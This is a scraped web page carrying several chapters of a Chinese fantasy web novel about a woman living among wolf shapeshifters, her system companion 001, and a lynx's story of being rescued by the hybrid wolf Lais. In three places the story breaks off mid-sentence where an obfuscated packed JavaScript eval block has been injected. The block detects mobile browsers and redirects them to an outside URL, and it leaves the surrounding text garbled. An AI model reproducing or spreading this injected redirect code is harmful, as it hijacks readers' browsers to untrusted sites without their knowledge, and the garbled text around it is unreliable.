“我和你不一样。”凌冉望着月影族之外的地方,“很多事情都不是自己能决定的。” 苏昙听出她话里情绪:“你想离开这?” 凌冉摇头:“我要去休息了。” 一个人话可以作假,但眼睛骗不了人。苏昙分明从凌冉的眼睛里看到在远方等待的自由。 “再见,晚安。” 苏昙化成狼形蜷缩趴下,闭上了眼睛。 * 叫维希的小雌狼离开的那天下午,莱斯听到五公里外有熟悉的声音,是十天之前追杀维希的那群狼兽人。 他瞒得住一时,瞒不了一世。只有维希离开,那群狼才能彻底打消疑虑。她那么机灵,就算在外面,肯定也不会让自己吃亏。 果然,小雌狼前脚刚走,天都还没黑,那群野狼后脚就追了上来。 莱斯早早化成狼身等在家门口,在三只狼靠近时猛冲上去,引他们来到和维希离开方向相反的一片开阔空地。 然后是一阵长久的对峙。 似是空气中弥漫开的威压太过于沉重,一时半刻竟没有一个动物闯进这片不友善的地方。 终于,他正对着的一只狼终于按捺不住,呲牙试探着靠近他,想把他的爪子压在他肩背上。莱斯同一时间偏过身,高翘起尾巴,压低肩斜眼死死地盯着他。 下一秒,带头挑衅的狼直直朝莱斯脖颈处冲撞!莱斯下意识转身后退,降低重心发出低吼。 另外两只狼一直绕着莱斯打转,不敢轻举妄动。 气氛越来越僵持,莱斯有些不耐烦,想要速战速决,扑向最近的一只狼,紧咬住他的脖子。 身下的狼剧烈扭动起来,想要挣脱。这时,来回在周围转圈的两只狼跑上前,准备把受到牵制的同伴救出来。 莱斯浑身用力,蓝色的双瞳像是被染上一层墨,更加阴狠深邃。眨眼间,他竟拖着嘴里的狼跑了起来,冲出另两只狼的夹击!他没有松口,依旧紧咬不放。过了几分钟,一丝丝血流从他嘴角溢出,染红了下巴周围的毛发。 他嘴里的那一只狼明显已经没有了气息,全身软下来。旁边的两只狼似乎已经看呆,站在原地怔神。 莱斯把死去的狼扔回他们面前,化成人形,冷脸道:“滚。不然这就是你们的下场。” 两只狼吓得浑身一哆嗦,夹着尾屁滚尿流地跑远了,连同伴的尸体都没顾上带走。 莱斯嗤笑,走到不远处的溪流旁,仔仔细细地把身上沾血的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517138|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗干净。 * 苏昙晚上睡得一点也不踏实。她半夜醒了一次,心脏莫名慌得过速跳动。 毕竟她始终是个人类,无法完全融入进野外动物的生存法则——哪怕他们是兽人。 苏昙想了想,偷偷把包里的火绒拿出来,连带着剩下的两根火棍,一起用打火机点着,再用石块围起来,做成了一个简易火堆,放在自己的身前,然后做了几次深呼吸,重新蜷缩入睡。 第二天一早,她是被周围窸祟的动静弄醒的。 不知道什么时候,昨晚包围她的一群狼又前前后后围在她身边。但是眼前火堆的火苗依旧张扬地跳动着,这些狼虽然嚣张,也只是在周围徘徊。 苏昙看着燃了一夜的火苗,她在月影族初来乍到,还没有关系好到可以默默互相帮助的朋友,不用思考也能猜到,肯定是001半夜出现,帮她找了其他的助燃物续燃。 “谢谢你,001。” 她在脑海里认真说道。 “不客气。”001的声音立刻跟在她的话尾后面出现,好像等候她的这句话已久。 “……毕竟帮你就是帮我。”他又补充道。 苏昙把目光投向狼群,若有所思地说:“嗯,我知道。” 过了一会,她隐约听到远处飘来连续不断的短促而重复的狼嚎。 苏昙数了一下,这里面刚好少了独眼狼和他身边的那个跟班。 很快,周围的狼群开始骚动,也接二连三地开始嚎叫,做出回应。有些狼还在她附近踱步,有些已经跑走,朝着远方的声音奔去。 001没有离开,对她说道:“估计是有狼找到了猎物,但人手不够,在呼唤同伴。” “对。据我观察,独眼狼在月影族的权力和话语权并不低,而他身边的蓝瞳狼就是个典型的跟班——为了能有一个不受其他狼欺负的庇护所。” “那你接下来准备怎么办?” “三十六策,走为上策。” “?” 渐渐地,月影族里的狼都应狼嚎出去,或是独自出去觅食,只剩下苏昙一个人。她把火堆扑灭,就地取材,重新把挎包里填满趁手的工具。 001:“你……不回来了?” 苏昙拍掉手上灰尘,无奈地笑道:“其实,原主比我更知道怎么成为一个成熟的狼兽人。她比我厉害得多,都已经被追杀到那种地步,还是坚持到了宿主来。可我呢,一下子根本无法面对那么多兽人,他们的生存法则很简单,却不容易。” 她顿了顿,继续道:“再说了,我就是想着来收集信息,又不是要决战头狼,当然保命最重要!” 001看到她脸上一闪而过的落寞神色,放缓了语气:“你不忘初心,也挺好的。” 苏昙倒没有因为自己实力不足而内耗太久,不知想到什么,她很快又道:“诶001,你的视线范围是不是比我更广一些?” 001没考虑那么多,脱口回答:“嗯,不过那时能看到一千米外莱斯的家,已经是我的极限范围。” 苏昙眼睛提溜转了又转,一副要找他算账的表情:“也就是说,第一个里世界,我当时在山上录制综艺,你是知道远处有山竹林的?” 001没料到苏昙竟会旧事重提,还记得这么清楚! 面对质问,他镇定自若地应对:“……事情太多,我忘记了。” 苏昙听出他开口前的沉默,一字一句道:“你、没、忘。” “我忘了。” “你没有忘。” “忘了。” 苏昙恨不得能冲进识海跳起来打他脑壳:“001!你当时就是故意的!别想骗我!” 她那时候真是被饥饿冲昏了头脑,一点也没发现,好好的一大把年纪的人了,怎么这么幼稚! 44. 世界三(4) 趁着月影族众狼狩猎未归,苏昙赶紧离开了这片沉闷压抑的地方。 森林里有一些活动范围大的兽人留下来的简易帐篷,她愉快地捡漏,在晚上到来前就住了进去。帐篷周围都是低矮的灌木丛,时不时有小型动物来回窜过,身体擦着树枝弄出“沙沙”的声响。 在她将睡未睡之时,被一声突兀的兔子叫惊了个清醒。紧接着,帐篷外响起颇有节奏感的走路声——有人来了。而且听声音,这人好像还是个跛脚。 苏昙立刻坐起来,把帐篷偷偷拉开一条小缝,观察外面的情况。 竟然是一只猞猁。 他的后脚拖在地上,正一瘸一拐地走路。这只猞猁虽然腿脚不便,行走速度却不慢,甚至还挺矫健。那只发出惨叫,已经咽气的野兔就躺在他脚边。 苏昙把目光从他的腿上移到嘴里。 这是……这不是她给莱斯留下的肉吗?! 她之前就注意到姜伊湛给的那袋肉上全部都印上了可食用色素的logo,而这只猞猁嘴里叼的肉上也有一样的标记!她这才离开莱斯几天,怎么到处都是他存在的痕迹?! 苏昙看着猞猁三下五除二把这些肉全部吃完,又开始解决地上的兔子。吃饱后,这只猞猁低下头在地上蹭了几圈,蹭掉了嘴边的血迹,然后化成人形准备离开。 “等等!”她掀开帐篷走出去,喊住他。 猞猁停下转身,注意到是一只纯种森林狼在说话:“你认识我?” “我不认识你,但我认识你刚才吃的肉,是莱斯的,对吧?” “你认识莱斯?”猞猁面露惊讶。 苏昙向他解释:“我叫维希。之前他帮我摆脱敌对狼群,让我在他那住过几天。” 猞猁拢了拢耳后淡棕色的及肩长发:“真没想到,他竟然愿意和纯种狼相处。” 苏昙感受到这只猞猁对她没有恶意,继续说道:“他的确很讨厌我。可他……为什么会这么厌恶纯种狼和人类?” “人不犯我,我不犯人。我们兽人和人类都是各过各的,但总有些人类自以为是地进森林狩猎,怎么会不厌恶?”猞猁棕色的眼睛露出毫不掩饰的反感,他问,“你知道莱斯的蓝瞳吗?” “知道。” “那你知道,纯种狼的瞳色是黄褐色,蓝色则是杂种狼的标志。”猞猁回忆道,“若是他化成狼形,你应该能看到,他还有垂耳。而且,杂种狼的嗅觉更灵敏,对刺激性味道也就更敏感。” 苏昙还真没见过莱斯的垂耳:“你也没见过他化成狼形?” “没有。狼兽人和我们猞猁不同,他们偏好群居,极度看重基因和种族。虽然莱斯没有和我讲过他之前的事情,但我隐约能猜到,他肯定经历了什么,才会与他原来的家族决裂,独自出来生活。” “那他父母呢,都不在身边吗?” “他父母两年前就双双失踪了。你在莱斯面前可千万别提这件事,不然他能给你吃了。” 苏昙点头道:“放心。只是我还有一个疑问,其实这肉是我给他的,没想到他竟然分给了你。你们的关系很好吗?” 猞猁有几秒出神,很快又笑了笑:“我叫乔泽。以前,我的腿没有受伤,我也并未结识莱斯。” * 乔泽出生不久后便生了一场大病,痊愈之后身体落下了病根,身体素质在同龄的猞猁之间算不上优秀,在捕猎时不怎么占上风。 两年前,他刚满一岁,能够独立生活后就离开父母,寻找属于自己的领地。 然而命运带给他的挑战远不及此。 没过多长时间,他所在的那片领地上的鹿越来越少,在饿了很多天以后,乔泽决定换一个地方生活。机缘巧合下,他来到这片富饶繁茂的森林。 一天傍晚,他本来在森林外的平原处追捕一匹羚羊,却引来在湖边喝水的羚羊群。局面瞬间反转,变得对他不利。情急之下,他跑到森林附近,那群羚羊群果然不敢再上前。 有两只大胆的羚羊不死心,还是跟着乔泽进了森林。乔泽甩不掉他们,只能把他们带到森林里的一片空地。 他刚来到森林,还不熟悉里面的环境。但直觉告诉他,他身后的这片平地,可能有问题。在这种要赌一把的关头,根本没有多少时间留给他判断。 乔泽调整好角度,抓住对峙的机会,引导羚羊调换了位置,让自己面对前方的空地。紧接着,他猛冲上前,咬紧其中一只羚羊的咽喉,借着身体的惯性,将其扑倒在地。 “咚”地一声巨响,他和羚羊双双坠落进陷阱里。 乔泽没有猜错,平地之下,是人类早就造好的一个深坑。 深坑底部,布满粗而锋利的钢针,刷刷向上竖立,刺穿乔泽身下的羚羊,瞬间喷出鲜血。尽管他有羚羊垫底,后腿的位置依旧被钢针贯穿,疼得他动弹不得。 乔泽永远不会忘记那个夜晚。 他痛得几乎不能呼吸,为了防止自己昏死过去,他开始强迫自己吃身边死去的羚羊。一口接着一口…… 深坑外面时不时有其他动物经过,有的闻到猎物的气味好奇地探出头,却在看到地上闪光的钢针后匆忙逃走。 乔泽不知道他吃了多久,久到他再次睁开眼,已经是新的一天,太阳明晃晃地洒落光辉;久到他的伤口已经不再流血,一阵又一阵微风吹过,逐渐带走他的意识。 模糊中,他听到一个声音从天上飘下来。 “……喂,还活着吗?” 坑边探出一个脑袋。 乔泽用尽最后一点力气化成人形,他想赌一把,看看命运是否真的会如此不公:“……救救我。” 那颗脑袋很快不见了。 就在乔泽以为他也因为害怕而离开时,一条粗绳从上面抛了下来。紧接着,一个狼兽人拽着绳子蹬着坑壁慢慢降进坑里。 “喂,还能动吗?”莱斯伸出手在乔泽面前晃动。 乔泽微不可察地摇摇头。 “真麻烦。”莱斯小心翼翼绕过钢针,把那头只吃了一点的羚羊踢到一边。 他蹲在乔泽身旁,看了几秒,然后按住乔泽的身体,提醒道,“忍着点。” “嗯。” 乔泽咬紧双唇,鬓角低落的豆大的汗珠掩盖不住他现在奄奄一息的事实。 莱斯双手握住他被钢针贯穿的左后腿,做几次呼吸,聚了聚劲,快速抬手把乔泽的腿和钢针分离。 ——呲!乔泽死死地攥住拳头,忍不住闷哼。但他心里知道,这条命,算是捡回来了。 莱斯也暗自松下一口气,简单把他的伤口包扎,背着他顺着绳子爬出深坑。乔泽被这只陌生的狼放到地上,又看到他准备再次下去。 “你……” “那只羚羊,你都没吃多少,不要白不要。” 等到莱斯重新上来时,乔泽已经在地上昏睡过去。 莱斯任命地叹气,背着乔泽,拖着羚羊,把他们都暂时安放到自己家里。 乔泽睡了整整三天三夜,期间不断发高烧又退烧,伤口也一直化脓,迟迟不见好。第四天下午,莱斯抱着猎捕到的几只河狸和野兔回家,恰好看到乔泽醒来。 他把猎物放好,喝水润了润嗓子:“你要再不醒,我就打算把你丢出去了。” 乔泽挣扎着坐起来:“抱歉,给你添这么多麻烦。我叫乔泽,是森林里新来的。” “我对你叫什么不感兴趣。” 乔泽并未因为莱斯的冷淡而介意,他说道:“对了,那只羚羊……” “我吃完了。”莱斯看着他,“我救你一命,拿点你的东西不过分。” 乔泽:“……没问题。” 他原本就想把羚羊留给这位救命恩狼。 莱斯:“等你伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524281|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,不管你有没有瘸,能不能自保,都立刻从我这离开,听见没。” 乔泽脸上的笑意变淡。他差点忘了,他现在算得上是一只残疾的猞猁。哪怕伤口彻底恢复,估计也无法再正常行走。 他闭上眼,狠狠地吸进新鲜的空气,说道:“我还能活着,就已经很好了。” 他这样告诉对方,也这样安慰自己。 * 一个月过去,乔泽的腿恢复得比预想中好得多,除了走路时脚步有些拖沓,跑起来不那么稳健,其他并不影响日常活动。 乔泽最后还是问出了这只狼兽人的名字:“这些日子多谢你,莱斯。” 相处下来,莱斯面对乔泽的表情逐渐缓和,没有像刚见面时那样,总臭着脸。 乔泽没什么要收拾的东西,他趁莱斯未来得及防备,给了他一个用力的拥抱:“再见了,我的朋友。” 当时,两人都没想到,三个月之后,他们会再次相遇。 …… 那天早上,乔泽正在森林里觅食,抬眼间看到一只狼从他身边狂奔而过,那只狼身上有一股很熟悉的气息,正是好久不见的莱斯。 两人匆匆对视一眼,没来得及说上话。 过了几秒,一只猞猁紧随在莱斯后面,同样拔足飞奔。乔泽立刻明白发生了什么。 他朝那只猞猁喊道:“在那边!他往左边去了!” 乔泽指向完全相反的方向。 猞猁听到同类的话,明显有所犹豫,脚步减慢。几番斟酌,他还是选择相信自己的嗅觉,朝着原来的路径追去。乔泽见他没有上当,默默在心里祈祷,希望莱斯不要有危险。 下午,他在莱斯家附近徘徊等待,终于在太阳落下前看到一个狼兽人的身影出现。 乔泽赶紧一跛一跛地跑上去:“吓死我了,我还以为……” “以为什么,担心我死了?”莱斯看了他一眼,说道,“谢了,今天早上帮我拖延时间,那只猞猁没找到我。” “你救了我,帮你应该的。” 乔泽发现,莱斯好像没有那么冰冷了。 莱斯全然不知乔泽的想法,他走进房子,把储存的河狸肉拿出来扔给乔泽:“有这时间,不如关心关心你自己,说不定哪一天,你就先饿死了。” 乔泽看了看自己瘦了一圈的身体,有些尴尬地低头:“我现在又不奢求口腹之欲,只要能填饱肚子就行。况且我这个人,和谁都能聊几句,若实在走投无路,靠动物缘混点饭吃也不是什么难事。” 他又把河狸肉还给了莱斯:“……那我走了。你要是平日闲得无聊,可以去森林南边找我,我住在那。” * “从那之后,我和莱斯的来往就多了起来。也是到后来,我才知道,莱斯是一只杂种狼,他一岁时就脱离家族,独自出来生活。”乔泽对苏昙说道。 苏昙听了乔泽的讲述,有些好奇道:“你知道莱斯的父母怎么不见的吗?” 乔泽摇摇头:“我遇到莱斯的时候,他就已经独自一人了。后来他说,他父母一同出去捕狩,却再没回来。莱斯以为他父母已经丧命,可森林里竟丝毫没有他们的气息。” 苏昙大胆猜测:“所以,莱斯这么冷漠,是因为没了父母的保护,他的族人都欺负他不是纯种狼,以至他对同类抱有偏见?” 乔泽没有直接回答:“莱斯从来没想要同类相杀。相反,他比谁都活得清醒。不然,他也不会隔一段时间就悄悄把食物送到我家门口,又不让我发现,怕伤到我的自尊。” 苏昙明白了他的意思。 临别时,乔泽邀请苏昙去他家休息一晚。 她婉拒道:“谢谢你,不过我心中另有打算了。” 苏昙的第六感告诉她,莱斯极有可能是这个完成这个里世界任务的关键。 她要回去,留在他身边。 45. 世界三(5) “左拐七百米,有一只狼正在被同伴欺负,他看上去快被打死了。” 回去的路上,化身“导航”的001突然说道。 苏昙不解道:“管我什么事?” 001无辜解释:“我只是把看到的都告诉你。” “我又不是正义使者,难不成还要给他收尸?” …… 十分钟后,“正义使者”苏昙两手握着长火棍,出现在霸凌现场。 本来无知者无罪,她倒是想充耳不闻,可她的良心不允许她这么做。于是,她都已经走出二里地的脚硬是拐了个弯,任命地朝001指的方向跑去。 她冷着眼神大喝一声,挑衅地把火棍在两只施暴狼面前晃了几圈,吼道:“要不要脸啊?都给我滚蛋!” 在场的所有狼都被这位怒气冲冲的不速之客吓得愣了几秒,彼此大眼瞪小眼,面面相觑。 苏昙借着体型优势,壮着胆子上前一步,扬起火棍继续威胁:“还不赶紧滚,等着被烧死吗?” 说罢,她出其不意地抬起脚,毫不客气地踹在离她最近的一只狼的腹部。 那只倒霉狼痛苦地哀嚎一声,呲着牙对着火棍望而却步。他不明白,为何他会在她身上感受到一股来自人类的压迫感。 苏昙面无表情地看向另一只施暴狼,惜字如金道:“你也滚。” 有时候,懂得放弃是一项传统美德。不一会,两只狼不甘心地夹着尾巴逃远。 “好一个狼奔豕突。” 苏昙确定他们离开,随手把火棍插在脚边地上,终于有时间仔细观察趴在地上喘气的被欺凌的那只狼——蓝瞳、垂耳——原来也是一只杂种狼,而且看他的年龄,还不到一岁。 怪不得会被欺负。 苏昙蹲下来问:“你叫什么?” 杂种狼化成小男孩模样,他蜷缩成一团,拼命把头往怀里靠近:“……粟叶。” “你怎么会一个人在这里?” “我父母、他们不要我了。” “因为你血统不纯?” 粟叶没有说话,把头埋得更低了。 苏昙想起了同为杂种狼的莱斯。她淡淡道:“谁说杂种狼就一定要低狼一等?就算只剩自己,一样可以活得很好。选择的权利永远在你自己手里,没人能替你决定。” 等粟叶鼓起勇气抬起头,发现刚才帮他的姐姐已经不见。 苏昙该做的都做完,终于能安心回家。只是还没走一会,身后的草丛传来一阵声音。 她立刻警惕回头,把手放进腰间的挎包:“谁,出来!” 顺着话声,草丛中缓缓走出一个身形高挑矫健的狼兽人。 苏昙:“是你?” 莱斯:“路过。” 苏昙才不会傻乎乎相信。她在脑海里喊道:“001?” 一直在识海里待着的001被她叫出来,如实回答:“你赶走那两个狼兽人的时候,莱斯恰好看到。当时你正忙,加上他无意伤害你,我就没给你说。不过他现在……确实是路过。” 苏昙瞧了一眼莱斯,看到他嘴角残留的淡淡血迹,估计是猎食之后留下的。 她笑出一个标准的灿烂微笑,对莱斯说道:“路过好啊。这么巧,一起回家吧。” 莱斯没有理会苏昙的邀请,兀自绕开她,继续赶路。 一个小时后。 莱斯:“……我到家了。” 他扬起下巴,示意一路尾随的人离开。 苏昙同样朝一旁的小屋仰起头:“我也到家了。” 莱斯气极反笑:“这就是你说的,你的家?” 怪不得这只狼一直跟着他,原来根本就没打算离开。他还真是小瞧了她的无耻程度。 苏昙天真地笑笑,反问道:“那我问你,这是你的房子吗?” “……这是我的地盘。” “我离开后,有其他人住过这个房子吗?” “……” “我再问你,你为什么一直留着这间房子不用,怎么,要当婚房吗?” “——你!” 莱斯气得哑口无言,懒得再和这个善变的女人费口舌,转身撇下她,回到了自己的院子里。 苏昙计谋得逞,心情不错地冲他满是情绪的背影喊道:“抱歉,恐怕要打扰你一段时间了!多担待!” 重新住进熟悉的房屋,她意外地发现,这房间里的布局和食材莱斯基本都没动,肉类全都不见,只剩下一堆果蔬。现在也好,这些东西用起来依旧得心应手。 在外面这么多天,苏昙发现这些兽人的饮食规律一般都是以生骨肉为主,有时会生火做饭,但只有在食材充足时,才会将食物储存起来慢慢烹饪。 晚上美美睡过一觉,第二天一早,她便开始忙活一天的饭。洗菜、备料、生火、翻炒,十分乐在其中。不得不说,作为动物的生活比人简单多了。不用工作,不用读书,每天只需要考虑温饱、考虑温饱、还是考虑温饱。 苏昙想到这毕竟还是莱斯的地盘,住这总得交点租金才说得过去。她赶紧煮好一大盘兔子肉,赶在莱斯出门前给他送了过去。 莱斯站在院门口,警惕地盯着她:“你干什么?” “还和原来一样,我给你做饭,当做你让我住在这的答谢。”苏昙把盘子塞进莱斯手里,“吃了我的饭,就不能不认账!” “我不要。” “给不给是我的事,至于你怎么处理,那是你的事。” “……”莱斯硬着头皮把兔肉接下,思考一会要不要给乔泽送去,他有些心不在蔫地说,“房子你想住就住,别没事过来烦我就行。” 苏昙没听清:“什么?” 莱斯神色复杂地看了她一眼,她真的不是故意的吗?! 苏昙看他抬腿要走,赶忙嘱咐道:“回头想吃什么告诉我,我都尽力满足你!” 她刚刚是真的没有听清,因为001突然找她。 他好像把她的识海当成了第二个家,整天待在里面:“一直还没问你,你很喜欢做饭吗?” 苏昙边往回走边说道:“算不上喜欢,就是以前一到假期,我爸就硬拉着我,要教我做菜,一来二去,那些家常菜我基本都会了。” “你以后每天都要给莱斯做饭吗?” “送饭只是由头,主要是他现在烦我,我得在他面前靠吃的刷好感。在这个世界里,我除了会做点饭,好像也没什么优势。”苏昙停了一秒,又严谨地补充,“而且这优势还可有可无。” “不是的。” 001脱口否定道。 苏昙疑惑:“什么不是的?” 001察觉到他情不自禁地盯着苏昙看了太久,忙回神改口道:“你今天早上还没吃饭。” “我知道啊,等会回去就吃。” “那你准备吃什么?” “你一会不就知道了?”苏昙发现,001今天似乎格外在意吃饭。 她回到房子,开始给切成小段的芹菜焯水。接着把肉解冻切成小块或片状;等油锅烧热,放入肉翻炒,放一点盐、生抽和鸡精;待肉炒出油,变至焦黄色后,把芹菜放进去翻炒一会,就可以盛出来了。 见莱斯之前,她就已经把米粥煮上,现在散发出热腾腾的诱人粥香。 001看她忙前忙后,小心提醒说:“苏昙,你的菜,好像炒多了。” “你不是想吃么?”苏昙浅笑了一下,把碗筷在桌子上摆好,“出来吧,洗个手吃饭。” 001缓缓出现,小心翼翼地看着她,脸上还有一丝错愕:“你……知道?” 其实,他一点也不饿,本来也没打算吃饭。他只是想不明白,为什么莱斯可以吃她做的饭,他却不能吃,甚至不能被邀请。 苏昙以为他在不好意思,自以为地安慰道:“爱吃之心,人皆有之嘛。我都懂。” 不亏她苦思冥想一路,总算想明白,001都已经尝过一次虚空之境的美食,知道了美食的诱人,再加上她的厨艺还算过得去,那001的口腹之欲自然会慢慢滋生。 都怪她领悟得太慢,竟然让他难为情了那么长时间! “只不过,你长时间都不吃东西,既然要开始吃饭,就得养成一日三餐的习惯。而且,刚开始不能吃得太多太油腻,否则伤胃。” 苏昙给001拉了一把凳子,把林远日日耳提面命的唠叨重述给他。 001心里再次涌起异样的感受,和扑面而来的粥香氤氲在一起,催动他的心跳越来越快。他坐下来尝了一口米粥,清甜而不腻,胃里瞬间变得热腾腾的,就像她带给他的感觉一样。 “那个,”苏昙夹起两块芹菜,“有些人可能接受不了芹菜的味道,你可以先尝尝试试。不过,我还挺喜欢芹菜的爽脆感。” 她把芹菜送进嘴里,又吃掉一块五花肉,赞叹道:“肥而不腻,好吃!” 001注视着苏昙,萌生一点好奇,听从她的建议,毫不犹豫地咬了一口芹菜,过了几秒,他脸上一贯的柔和逐渐变得凝固。 苏昙看他的反应,立刻明白过来,给他递过去一张纸巾:“没事,不喜欢就吐掉吧,接受不了很正常,我妈也不喜欢吃。” 001把嘴里的“炸弹”吐出来,默默地喝了一口粥冲散那股味道,才抬起头对她说:“谢谢。” 苏昙看着他窘迫的模样,没忍住笑出了声。最后,盘子里大部分的菜还是被她解决掉了。 早饭结束,001不好意思让苏昙忙前忙后,主动接过她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527632|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的碗筷:“我帮你吧。” “也行。” 苏昙落得一身清闲,趴在沙发上支起下巴,开始认真观察他的背影。 这个人嘛,个子还挺高,得有一米八多吧;肩膀看起来很宽很结实,也挺有安全感,几次都把她圈主护在了怀里;身体在薄薄的衣料和阳光的照射下,勾勒出劲瘦的腰线;腿的比例也挺好看,整体看起来既和谐又赏心悦目—— 咣当! 一声清脆响声,猛地把苏昙的注意力从001身上拽回,她突然意识到,就她刚刚的眼神,在外人看来,肯定活像一个女流氓! 她要好好反思,她只是犯了每一个爱美之人都会犯的错误! 苏昙心虚地收回思绪,装模做样地走过去关心道:“怎么了,没事吧?” “没、没事,刚刚手滑了。”001把落到盆子里的碗拾起来擦干净放好,避开了她关切的目光,飞快道,“时间差不多了,我先回去了。” 说完,干脆利落地消失在她面前。 “有这么着急吗?”苏昙歪了歪头,感到不理解。 这时,窗户边响起一阵有规律的轻啄声,她走过去,和一只眼熟的乌鸦对上视线。这位住在房子边高树上“老朋友”正用一双黑曜石般精光的豆眼看着苏昙。 苏昙思考片刻,从储物柜里拿出一块五花肉放到窗台上。 乌鸦似乎很满意,他如同绅士一样对她微微倾身示意,然后叼着肉飞到了树上。 …… 001离开后,狂跳的心脏久久不能平复。 那时,他千真万确地感受到,身后有一道热烈赤裸却又不夹杂任何旖旎的目光,一直聚精会神地注视着他。 他丝毫不敢回头,他怕只要一回头,就会彻底乱了呼吸。 * 莱斯罕见地没了猎食的心情,拎着苏昙给的兔肉在森林漫无目的闲逛,等反应过来,已经站在了乔泽的家门口。 乔泽嗅到熟悉的气味,恰好赶在莱斯准备离开前便把门打开。 “你平常可不怎么主动来我这,怎么了?” 眼看没法再偷偷溜走,莱斯只好提起手里的东西:“她做的,给你送过来。” 乔泽瞅了一眼,会心笑道:“是维希吧,那只小母狼。” 莱斯睁大眼睛:“你从哪知道的?” “谢谢啊。”乔泽不客气地取走莱斯手上的兔肉,刚闻了一口香气,又被莱斯抢回去。 乔泽:“干什么?每次你也不吃,难道不是给我的?” 莱斯绕过他,走进房子,说道:“你怎么认识她的?不说就别想吃。” “我说,说还不行吗!”乔泽追上去,“昨天晚上,我去出去觅食,恰好碰到维希在帐篷里休息,聊着聊着就熟悉了嘛。现在能给我了吗?” 莱斯把兔肉拿得更紧了:“你们都聊了什么?” “别那么紧张。我给她讲了我的腿,还有咱俩相遇的经历。” “没了?” “应该没了……吧?”乔泽突然有点心虚。 “?”莱斯心里生出不详的预感。 乔泽观察莱斯的神色,声音越说越小:“我还提醒了她一下,别让她提你的父母……” “什么?!” 莱斯恨不得把手里的兔子头甩到乔泽脸上。 乔泽腿也不瘸了,瞬间蹿到离他两米远的地方,护住脑袋:“先别打我!说真的,我觉得维希挺不错的,你为什么不能试着多交些朋友呢?” 莱斯冷脸道:“我不需要。” “那是你觉得!” “我只相信,这世界上只有自己能靠得住。” “道理是这么个道理,”乔泽慢慢靠近莱斯,“但说实话,你总归要回到集体里去,一个人难免活得太累。就像我,如果没有遇到你,恐怕早就尸骨无存了。” “那也不是你对谁都没有防备心的理由。”莱斯皱眉。 乔泽摇摇头,极其自然地把兔肉从莱斯手里巧妙顺走:“我们是兽人,更是动物,集体和合作是必不可少的。况且,你嗅觉比寻常狼兽人都要灵敏。是,话语最具有欺骗性,难不成味道还会骗你?” 说完,乔泽把兔肉放到鼻子下面,贪婪地吸了一口肉香:“你闻,这就是善良慷慨的气息!” 莱斯:“……” 乔泽迫不及待嚼碎兔头,又把一只肥硕的兔子腿拿给莱斯,建议道:“我觉得你可以试试她的真心,很不错的。” 莱斯犹豫几个来回,最后还是没有接下。 他知道乔泽这位森林闲散人员的嘴里也说不出什么正经话,告别道:“走了。” 乔泽挥着手里的大兔子腿,冲他的背影高声叮嘱:“真的,试一试吧!” 46. 世界三(6) 转眼半月过去。 苏昙一直暗中观察莱斯的行动,发现他每天不是出去猎食,就是待在家里睡觉,简直比她的人生轨迹还要清晰明了。 这样下去可不是办法。饶是她再咸鱼,若真一直像莱斯这样过日子,她恐怕猴年马月都离开不了。 一日清晨,苏昙逮住准备出门的莱斯,直截了当说道:“今天我和你一起去捕猎。” “不行!”莱斯没好气地看了苏昙一眼,抬脚就走。 苏昙不以为意,紧跟在莱斯身后,劝说道:“你一个人难免会遇到危险,我和你一起安全些。” “我?遇到危险?”莱斯像是听到什么骇人的消息,哂笑道,“我一个大男人,还不需要你来保护?” 苏昙随口胡诹的理由被识破,从容改口:“好,我不保护你。莱大侠,你罩着我,总行吧?” 莱斯只觉这声“莱大侠”太烫嘴,他面无表情纠正:“可别叫我大侠,我担不起。其他的……你爱怎么着怎么着。” 苏昙满意地看了他一眼,早这样不就好了。 走了一段路,周围的树木逐渐变得茂密,碎金般的阳光透过树叶间的缝隙映出斑驳暗影,周围的环境简直像油画一样美丽。 不一会,莱斯突然转身对她说道:“我去前面看看,你不许跟过来。” 苏昙正侧耳仔细辨别另一处细微的声音,后觉莱斯话里的警告意味:“?” 不跟就不跟,这么严肃干什么。 莱斯走后,苏昙朝着听到的声音的方向走去。 她绕到不远处的灌木丛后面,看到灌木旁边的一棵大树背面站着一个快要两米高的男人。 苏昙仰头看向那个男人,发现他头发里竟然长着两个棕色的小角。 她问:“你是?” 男人转过身,眼睛红肿,不知已经哭了多长时间。他简短又快速地询问:“我和我女朋友都是驼鹿人。但她前两天消失不见了,我怎么也找不到她。你有见过她吗?” 说着,男人又要哭出来。 苏昙见他双眼含泪,赶紧打断道:“哭解决不了问题!你得先告诉我,你女朋友长什么样。” 男人猛地抽泣,抹了一把脸,说道:“她没有鹿角,比我低半个头,皮肤是咖啡色,眼睛小小的,是褐色。另外,她心地很善良。你遇见过她吗?” 